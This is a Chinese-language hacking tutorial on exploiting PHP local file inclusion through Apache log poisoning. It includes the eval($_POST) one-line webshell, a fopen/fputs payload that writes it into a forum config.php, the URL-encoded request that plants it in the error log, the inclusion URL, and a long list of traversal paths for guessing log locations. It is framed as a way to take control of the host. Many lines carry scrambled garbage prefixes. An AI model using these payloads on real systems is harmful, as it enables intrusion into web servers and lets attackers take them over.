php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
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1 D2 D9 H" I; ?6 {5 ~- Z4 [: @* ^比如还是这句一句话木马
2 Q0 v# E& m* C; V8 {<?eval($_POST[cmd]);?>   
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到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
( ?: E4 x$ d5 y9 Z/ Pfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
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. W% `( l- s, d  Z+ b<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
& z- j" U; H1 f$ e1 ifclose($fp);?>   //在config.php里写入一句木马语句
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我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
% o, m" t; x- V: ?6 `3 ]%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
' i" f6 X5 s- L' z0 [( @; i2 R% Cconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
( v& u1 g) L% O. ffclose%28%24fp%29%3B%3F%3E
我们提交
3 }( u. ]3 X& Q6 l0 Shttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
7 g5 @' @- O2 j, I%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
/ J* F/ }6 u( Y: y' k$ W5 c%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
( B7 x1 _. p  r/ ]/ U+ u+ dcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

3 J# a6 V9 S' I6 e* Y这样webshell就写入成功了，config.php里就写入一句木马语句
2 q" C+ I8 F/ Y; sOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

3 b0 v, S* [; `: e5 ^; rPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
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( G+ A% {2 w' }) Y( P1 E其他的日志路径，你可以去猜，也可以参照这里。
) g- s( w  {1 t$ c& H2 J1 |../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
9 X& S& G- b% J& \. C* L  u! H../../apache/logs/error.log
3 f5 _5 I& ?# t; ?../../apache/logs/access.log
9 ?$ D; J5 }+ {( L0 ?9 ^../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
, f3 e  v8 S9 J  E& e6 i../../../../../../../../../../etc/httpd/logs/acces.log
+ b/ ~! L5 C& Q$ z' |- e/ i/ X  \' x../../../../../../../../../../etc/httpd/logs/error_log
5 A8 i/ N% _$ R* X  a+ }../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
. _& G2 o% U2 L../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
, h$ d! ^+ n4 _../../../../../../../../../../usr/local/apache/logs/access.log
8 {; U8 ^' y+ C: q' d# S# u- t  M../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
, P7 u0 u4 |" g2 _: z9 `3 u../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
( |$ n' s0 {6 v4 c& C../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
9 F! Y8 V% d  C8 _../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
" T1 w7 B6 [( u../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
. V/ Y! i+ \( }$ W5 |6 `. C/var/log/httpd/error_log     
( P* H! p; d) H2 {+ W  x- Y1 X0 j../apache/logs/error.log     
2 N0 q! n* n7 O- \../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
) J( Z- h; x- H' k/ `9 b* G3 q../../../apache/logs/error.log
../../../apache/logs/access.log
% y+ J" u0 e' p; j! T/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
- c6 w+ c6 I! E6 V! R/etc/httpd/logs/error_log
* r" ^. r( @) f4 u/etc/httpd/logs/error.log
/var/www/logs/access_log
1 a: G5 B8 k( w" L6 L/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
( b6 o0 Q' e$ L/ y0 |, p/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
1 D+ h$ v& ?: u/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
0 D1 w! {0 a! p0 |3 w$ o/var/log/apache/error_log
. p: E7 o) @+ j1 U/var/log/apache/error.log
/var/log/access_log
  J: g, k; T" m# D8 z1 Y/ |( F8 g/var/log/error_log